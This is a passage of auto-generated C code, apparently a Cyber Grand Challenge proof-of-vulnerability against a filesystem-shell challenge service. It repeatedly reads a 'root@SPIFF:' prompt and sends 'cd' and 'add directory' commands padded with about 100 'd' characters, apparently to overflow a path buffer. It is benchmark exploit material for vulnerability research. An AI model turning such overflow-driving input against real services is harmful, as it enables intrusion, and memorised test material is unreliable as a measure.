NULL; read_00107_len = 0; int read_00107_res = cgc_delimited_read(0, &read_00107, &read_00107_len, read_00107_delim, 1); if (read_00107_res) {} //silence unused variable warning //**** read match data static unsigned char match_00107_00000[] = "\x72\x6f\x6f\x74"; read_00107_ptr += cgc_data_match(read_00107 + read_00107_ptr, read_00107_len - read_00107_ptr, match_00107_00000, 4); cgc_free(read_00107); if (read_00107_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00108; unsigned int read_00108_len; unsigned int read_00108_ptr = 0; //**** delimited read static unsigned char read_00108_delim[] = "\x2f"; read_00108 = NULL; read_00108_len = 0; int read_00108_res = cgc_delimited_read(0, &read_00108, &read_00108_len, read_00108_delim, 1); if (read_00108_res) {} //silence unused variable warning //**** read match data static unsigned char match_00108_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00108_ptr += cgc_data_match(read_00108 + read_00108_ptr, read_00108_len - read_00108_ptr, match_00108_00000, 6); cgc_free(read_00108); if (read_00108_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00109; unsigned int read_00109_len; unsigned int read_00109_ptr = 0; //**** delimited read static unsigned char read_00109_delim[] = "\x3e"; read_00109 = NULL; read_00109_len = 0; int read_00109_res = cgc_delimited_read(0, &read_00109, &read_00109_len, read_00109_delim, 1); if (read_00109_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00109_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00109_00000_match; pcre *read_00109_00000_pcre = cgc_init_regex(read_00109_00000_regex); if (read_00109_00000_pcre != NULL) { int rc = cgc_regex_match(read_00109_00000_pcre, 0, read_00109 + read_00109_ptr, read_00109_len - read_00109_ptr, &read_00109_00000_match); if (rc > 0) { read_00109_ptr += read_00109_00000_match.match_end - read_00109_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00109_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00109); if (read_00109_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00039_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00039_00000_len = 104; unsigned char *write_00039 = NULL; unsigned int write_00039_len = 0; write_00039 = cgc_append_buf(write_00039, &write_00039_len, write_00039_00000, write_00039_00000_len); if (write_00039_len > 0) { cgc_transmit_all(1, write_00039, write_00039_len); } cgc_free(write_00039); } while (0); do { unsigned char *read_00110; unsigned int read_00110_len; unsigned int read_00110_ptr = 0; //**** delimited read static unsigned char read_00110_delim[] = "\x40"; read_00110 = NULL; read_00110_len = 0; int read_00110_res = cgc_delimited_read(0, &read_00110, &read_00110_len, read_00110_delim, 1); if (read_00110_res) {} //silence unused variable warning //**** read match data static unsigned char match_00110_00000[] = "\x72\x6f\x6f\x74"; read_00110_ptr += cgc_data_match(read_00110 + read_00110_ptr, read_00110_len - read_00110_ptr, match_00110_00000, 4); cgc_free(read_00110); if (read_00110_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00111; unsigned int read_00111_len; unsigned int read_00111_ptr = 0; //**** delimited read static unsigned char read_00111_delim[] = "\x2f"; read_00111 = NULL; read_00111_len = 0; int read_00111_res = cgc_delimited_read(0, &read_00111, &read_00111_len, read_00111_delim, 1); if (read_00111_res) {} //silence unused variable warning //**** read match data static unsigned char match_00111_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00111_ptr += cgc_data_match(read_00111 + read_00111_ptr, read_00111_len - read_00111_ptr, match_00111_00000, 6); cgc_free(read_00111); if (read_00111_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00112; unsigned int read_00112_len; unsigned int read_00112_ptr = 0; //**** delimited read static unsigned char read_00112_delim[] = "\x3e"; read_00112 = NULL; read_00112_len = 0; int read_00112_res = cgc_delimited_read(0, &read_00112, &read_00112_len, read_00112_delim, 1); if (read_00112_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00112_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00112_00000_match; pcre *read_00112_00000_pcre = cgc_init_regex(read_00112_00000_regex); if (read_00112_00000_pcre != NULL) { int rc = cgc_regex_match(read_00112_00000_pcre, 0, read_00112 + read_00112_ptr, read_00112_len - read_00112_ptr, &read_00112_00000_match); if (rc > 0) { read_00112_ptr += read_00112_00000_match.match_end - read_00112_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00112_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00112); if (read_00112_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00040_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00040_00000_len = 115; unsigned char *write_00040 = NULL; unsigned int write_00040_len = 0; write_00040 = cgc_append_buf(write_00040, &write_00040_len, write_00040_00000, write_00040_00000_len); if (write_00040_len > 0) { cgc_transmit_all(1, write_00040, write_00040_len); } cgc_free(write_00040); } while (0); do { unsigned char *read_00113; unsigned int read_00113_len; unsigned int read_00113_ptr = 0; //**** delimited read static unsigned char read_00113_delim[] = "\x40"; read_00113 = NULL; read_00113_len = 0; int read_00113_res = cgc_delimited_read(0, &read_00113, &read_00113_len, read_00113_delim, 1); if (read_00113_res) {} //silence unused variable warning //**** read match data static unsigned char match_00113_00000[] = "\x72\x6f\x6f\x74"; read_00113_ptr += cgc_data_match(read_00113 + read_00113_ptr, read_00113_len - read_00113_ptr, match_00113_00000, 4); cgc_free(read_00113); if (read_00113_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00114; unsigned int read_00114_len; unsigned int read_00114_ptr = 0; //**** delimited read static unsigned char read_00114_delim[] = "\x2f"; read_00114 = NULL; read_00114_len = 0; int read_00114_res = cgc_delimited_read(0, &read_00114, &read_00114_len, read_00114_delim, 1); if (read_00114_res) {} //silence unused variable warning //**** read match data static unsigned char match_00114_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00114_ptr += cgc_data_match(read_00114 + read_00114_ptr, read_00114_len - read_00114_ptr, match_00114_00000, 6); cgc_free(read_00114); if (read_00114_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00115; unsigned int read_00115_len; unsigned int read_00115_ptr = 0; //**** delimited read static unsigned char read_00115_delim[] = "\x3e"; read_00115 = NULL; read_00115_len = 0; int read_00115_res = cgc_delimited_read(0, &read_00115, &read_00115_len, read_00115_delim, 1); if (read_00115_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00115_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00115_00000_match; pcre *read_00115_00000_pcre = cgc_init_regex(read_00115_00000_regex); if (read_00115_00000_pcre != NULL) { int rc = cgc_regex_match(read_00115_00000_pcre, 0, read_00115 + read_00115_ptr, read_00115_len - read_00115_ptr, &read_00115_00000_match); if (rc > 0) { read_00115_ptr += read_00115_00000_match.match_end - read_00115_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00115_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00115); if (read_00115_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00041_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00041_00000_len = 104; unsigned char *write_00041 = NULL; unsigned int write_00041_len = 0; write_00041 = cgc_append_buf(write_00041, &write_00041_len, write_00041_00000, write_00041_00000_len); if (write_00041_len > 0) { cgc_transmit_all(1, write_00041, write_00041_len); } cgc_free(write_00041); } while (0); do { unsigned char *read_00116; unsigned int read_00116_len; unsigned int read_00116_ptr = 0; //**** delimited read static unsigned char read_00116_delim[] = "\x40"; read_00116 = NULL; read_00116_len = 0; int read_00116_res = cgc_delimited_read(0, &read_00116, &read_00116_len, read_00116_delim, 1); if (read_00116_res) {} //silence unused variable warning //**** read match data static unsigned char match_00116_00000[] = "\x72\x6f\x6f\x74"; read_00116_ptr += cgc_data_match(read_00116 + read_00116_ptr, read_00116_len - read_00116_ptr, match_00116_00000, 4); cgc_free(read_00116); if (read_00116_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00117; unsigned int read_00117_len; unsigned int read_00117_ptr = 0; //**** delimited read static unsigned char read_00117_delim[] = "\x2f"; read_00117 = NULL; read_00117_len = 0; int read_00117_res = cgc_delimited_read(0, &read_00117, &read_00117_len, read_00117_delim, 1); if (read_00117_res) {} //silence unused variable warning //**** read match data static unsigned char match_00117_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00117_ptr += cgc_data_match(read_00117 + read_00117_ptr, read_00117_len - read_00117_ptr, match_00117_00000, 6); cgc_free(read_00117); if (read_00117_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00118; unsigned int read_00118_len; unsigned int read_00118_ptr = 0; //**** delimited read static unsigned char read_00118_delim[] = "\x3e"; read_00118 = NULL; read_00118_len = 0; int read_00118_res = cgc_delimited_read(0, &read_00118, &read_00118_len, read_00118_delim, 1); if (read_00118_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00118_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00118_00000_match; pcre *read_00118_00000_pcre = cgc_init_regex(read_00118_00000_regex); if (read_00118_00000_pcre != NULL) { int rc = cgc_regex_match(read_00118_00000_pcre, 0, read_00118 + read_00118_ptr, read_00118_len - read_00118_ptr, &read_00118_00000_match); if (rc > 0) { read_00118_ptr += read_00118_00000_match.match_end - read_00118_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00118_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00118); if (read_00118_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00042_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00042_00000_len = 115; unsigned char *write_00042 = NULL; unsigned int write_00042_len = 0; write_00042 = cgc_append_buf(write_00042, &write_00042_len, write_00042_00000, write_00042_00000_len); if (write_00042_len > 0) { cgc_transmit_all(1, write_00042, write_00042_len); } cgc_free(write_00042); } while (0); do { unsigned char *read_00119; unsigned int read_00119_len; unsigned int read_00119_ptr = 0; //**** delimited read static unsigned char read_00119_delim[] = "\x40"; read_00119 = NULL; read_00119_len = 0; int read_00119_res = cgc_delimited_read(0, &read_00119, &read_00119_len, read_00119_delim, 1); if (read_00119_res) {} //silence unused variable warning //**** read match data static unsigned char match_00119_00000[] = "\x72\x6f\x6f\x74"; read_00119_ptr += cgc_data_match(read_00119 + read_00119_ptr, read_00119_len - read_00119_ptr, match_00119_00000, 4); cgc_free(read_00119); if (read_00119_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00120; unsigned int read_00120_len; unsigned int read_00120_ptr = 0; //**** delimited read static unsigned char read_00120_delim[] = "\x2f"; read_00120 = NULL; read_00120_len = 0; int read_00120_res = cgc_delimited_read(0, &read_00120, &read_00120_len, read_00120_delim, 1); if (read_00120_res) {} //silence unused variable warning //**** read match data static unsigned char match_00120_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00120_ptr += cgc_data_match(read_00120 + read_00120_ptr, read_00120_len - read_00120_ptr, match_00120_00000, 6); cgc_free(read_00120); if (read_00120_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00121; unsigned int read_00121_len; unsigned int read_00121_ptr = 0; //**** delimited read static unsigned char read_00121_delim[] = "\x3e"; read_00121 = NULL; read_00121_len = 0; int read_00121_res = cgc_delimited_read(0, &read_00121, &read_00121_len, read_00121_delim, 1); if (read_00121_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00121_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00121_00000_match; pcre *read_00121_00000_pcre = cgc_init_regex(read_00121_00000_regex); if (read_00121_00000_pcre != NULL) { int rc = cgc_regex_match(read_00121_00000_pcre, 0, read_00121 + read_00121_ptr, read_00121_len - read_00121_ptr, &read_00121_00000_match); if (rc > 0) { read_00121_ptr += read_00121_00000_match.match_end - read_00121_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00121_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00121); if (read_00121_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00043_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00043_00000_len = 104; unsigned char *write_00043 = NULL; unsigned int write_00043_len = 0; write_00043 = cgc_append_buf(write_00043, &write_00043_len, write_00043_00000, write_00043_00000_len); if (write_00043_len > 0) { cgc_transmit_all(1, write_00043, write_00043_len); } cgc_free(write_00043); } while (0); do { unsigned char *read_00122; unsigned int read_00122_len; unsigned int read_00122_ptr = 0; //**** delimited read static unsigned char read_00122_delim[] = "\x40"; read_00122 = NULL; read_00122_len = 0; int read_00122_res = cgc_delimited_read(0, &read_00122, &read_00122_len, read_00122_delim, 1); if (read_00122_res) {} //silence unused variable warning //**** read match data static unsigned char match_00122_00000[] = "\x72\x6f\x6f\x74"; read_00122_ptr += cgc_data_match(read_00122 + read_00122_ptr, read_00122_len - read_00122_ptr, match_00122_00000, 4); cgc_free(read_00122); if (read_00122_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00123; unsigned int read_00123_len; unsigned int read_00123_ptr = 0; //**** delimited read static unsigned char read_00123_delim[] = "\x2f"; read_00123 = NULL; read_00123_len = 0; int read_00123_res = cgc_delimited_read(0, &read_00123, &read_00123_len, read_00123_delim, 1); if (read_00123_res) {} //silence unused variable warning //**** read match data static unsigned char match_00123_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00123_ptr += cgc_data_match(read_00123 + read_00123_ptr, read_00123_len - read_00123_ptr, match_00123_00000, 6); cgc_free(read_00123); if (read_00123_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00124; unsigned int read_00124_len; unsigned int read_00124_ptr = 0; //**** delimited read static unsigned char read_00124_delim[] = "\x3e"; read_00124 = NULL; read_00124_len = 0; int read_00124_res = cgc_delimited_read(0, &read_00124, &read_00124_len, read_00124_delim, 1); if (read_00124_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00124_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00124_00000_match; pcre *read_00124_00000_pcre = cgc_init_regex(read_00124_00000_regex); if (read_00124_00000_pcre != NULL) { int rc = cgc_regex_match(read_00124_00000_pcre, 0, read_00124 + read_00124_ptr, read_00124_len - read_00124_ptr, &read_00124_00000_match); if (rc > 0) { read_00124_ptr += read_00124_00000_match.match_end - read_00124_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00124_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00124); if (read_00124_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00044_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00044_00000_len = 115; unsigned char *write_00044 = NULL; unsigned int write_00044_len = 0; write_00044 = cgc_append_buf(write_00044, &write_00044_len, write_00044_00000, write_00044_00000_len); if (write_00044_len > 0) { cgc_transmit_all(1, write_00044, write_00044_len); } cgc_free(write_00044); } while (0); do { unsigned char *read_00125; unsigned int read_00125_len; unsigned int read_00125_ptr = 0; //**** delimited read static unsigned char read_00125_delim[] = "\x40"; read_00125 = NULL; read_00125_len = 0; int read_00125_res = cgc_delimited_read(0, &read_00125, &read_00125_len, read_00125_delim, 1); if (read_00125_res) {} //silence unused variable warning //**** read match data static unsigned char match_00125_00000[] = "\x72\x6f\x6f\x74"; read_00125_ptr += cgc_data_match(read_00125 + read_00125_ptr, read_00125_len - read_00125_ptr, match_00125_00000, 4); cgc_free(read_00125); if (read_00125_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00126; unsigned int read_00126_len; unsigned int read_00126_ptr = 0; //**** delimited read static unsigned char read_00126_delim[] = "\x2f"; read_00126 = NULL; read_00126_len = 0; int read_00126_res = cgc_delimited_read(0, &read_00126, &read_00126_len, read_00126_delim, 1); if (read_00126_res) {} //silence unused variable warning //**** read match data static unsigned char match_00126_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00126_ptr += cgc_data_match(read_00126 + read_00126_ptr, read_00126_len - read_00126_ptr, match_00126_00000, 6); cgc_free(read_00126); if (read_00126_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00127; unsigned int read_00127_len; unsigned int read_00127_ptr = 0; //**** delimited read static unsigned char read_00127_delim[] = "\x3e"; read_00127 = NULL; read_00127_len = 0; int read_00127_res = cgc_delimited_read(0, &read_00127, &read_00127_len, read_00127_delim, 1); if (read_00127_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00127_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00127_00000_match; pcre *read_00127_00000_pcre = cgc_init_regex(read_00127_00000_regex); if (read_00127_00000_pcre != NULL) { int rc = cgc_regex_match(read_00127_00000_pcre, 0, read_00127 + read_00127_ptr, read_00127_len - read_00127_ptr, &read_00127_00000_match); if (rc > 0) { read_00127_ptr += read_00127_00000_match.match_end - read_00127_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00127_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00127); if (read_00127_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00045_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00045_00000_len = 104; unsigned char *write_00045 = NULL; unsigned int write_00045_len = 0; write_00045 = cgc_append_buf(write_00045, &write_00045_len, write_00045_00000, write_00045_00000_len); if (write_00045_len > 0) { cgc_transmit_all(1, write_00045, write_00045_len); } cgc_free(write_00045); } while (0); do { unsigned char *read_00128; unsigned int read_00128_len; unsigned int read_00128_ptr = 0; //**** delimited read static unsigned char read_00128_delim[] = "\x40"; read_00128 = NULL; read_00128_len = 0; int read_00128_res = cgc_delimited_read(0, &read_00128, &read_00128_len, read_00128_delim, 1); if (read_00128_res) {} //silence unused variable warning //**** read match data static unsigned char match_00128_00000[] = "\x72\x6f\x6f\x74"; read_00128_ptr += cgc_data_match(read_00128 + read_00128_ptr, read_00128_len - read_00128_ptr, match_00128_00000, 4); cgc_free(read_00128); if (read_00128_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00129; unsigned int read_00129_len; unsigned int read_00129_ptr = 0; //**** delimited read static unsigned char read_00129_delim[] = "\x2f"; read_00129 = NULL; read_00129_len = 0; int read_00129_res = cgc_delimited_read(0, &read_00129, &read_00129_len, read_00129_delim, 1); if (read_00129_res) {} //silence unused variable warning //**** read match data static unsigned char match_00129_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00129_ptr += cgc_data_match(read_00129 + read_00129_ptr, read_00129_len - read_00129_ptr, match_00129_00000, 6); cgc_free(read_00129); if (read_00129_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00130; unsigned int read_00130_len; unsigned int read_00130_ptr = 0; //**** delimited read static unsigned char read_00130_delim[] = "\x3e"; read_00130 = NULL; read_00130_len = 0; int read_00130_res = cgc_delimited_read(0, &read_00130, &read_00130_len, read_00130_delim, 1); if (read_00130_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00130_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00130_00000_match; pcre *read_00130_00000_pcre = cgc_init_regex(read_00130_00000_regex); if (read_00130_00000_pcre != NULL) { int rc = cgc_regex_match(read_00130_00000_pcre, 0, read_00130 + read_00130_ptr, read_00130_len - read_00130_ptr, &read_00130_00000_match); if (rc > 0) { read_00130_ptr += read_00130_00000_match.match_end - read_00130_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00130_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00130); if (read_00130_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00046_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00046_00000_len = 115; unsigned char *write_00046 = NULL; unsigned int write_00046_len = 0; write_00046 = cgc_append_buf(write_00046, &write_00046_len, write_00046_00000, write_00046_00000_len); if (write_00046_len > 0) { cgc_transmit_all(1, write_00046, write_00046_len); } cgc_free(write_00046); } while (0); do { unsigned char *read_00131; unsigned int read_00131_len; unsigned int read_00131_ptr = 0; //**** delimited read static unsigned char read_00131_delim[] = "\x40"; read_00131 = NULL; read_00131_len = 0; int read_00131_res = cgc_delimited_read(0, &read_00131, &read_00131_len, read_00131_delim, 1); if (read_00131_res) {} //silence unused variable warning //**** read match data static unsigned char match_00131_00000[] = "\x72\x6f\x6f\x74"; read_00131_ptr += cgc_data_match(read_00131 + read_00131_ptr, read_00131_len - read_00131_ptr, match_00131_00000, 4); cgc_free(read_00131); if (read_00131_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00132; unsigned int read_00132_len; unsigned int read_00132_ptr = 0; //**** delimited read static unsigned char read_00132_delim[] = "\x2f"; read_00132 = NULL; read_00132_len = 0; int read_00132_res = cgc_delimited_read(0, &read_00132, &read_00132_len, read_00132_delim, 1); if (read_00132_res) {} //silence unused variable warning //**** read match data static unsigned char match_00132_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00132_ptr += cgc_data_match(read_00132 + read_00132_ptr, read_00132_len - read_00132_ptr, match_00132_00000, 6); cgc_free(read_00132); if (read_00132_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00133; unsigned int read_00133_len; unsigned int read_00133_ptr = 0; //**** delimited read static unsigned char read_00133_delim[] = "\x3e"; read_00133 = NULL; read_00133_len = 0; int read_00133_res = cgc_delimited_read(0, &read_00133, &read_00133_len, read_00133_delim, 1); if (read_00133_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00133_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00133_00000_match; pcre *read_00133_00000_pcre = cgc_init_regex(read_00133_00000_regex); if (read_00133_00000_pcre != NULL) { int rc = cgc_regex_match(read_00133_00000_pcre, 0, read_00133 + read_00133_ptr, read_00133_len - read_00133_ptr, &read_00133_00000_match); if (rc > 0) { read_00133_ptr += read_00133_00000_match.match_end - read_00133_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00133_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00133); if (read_00133_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00047_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00047_00000_len = 104; unsigned char *write_00047 = 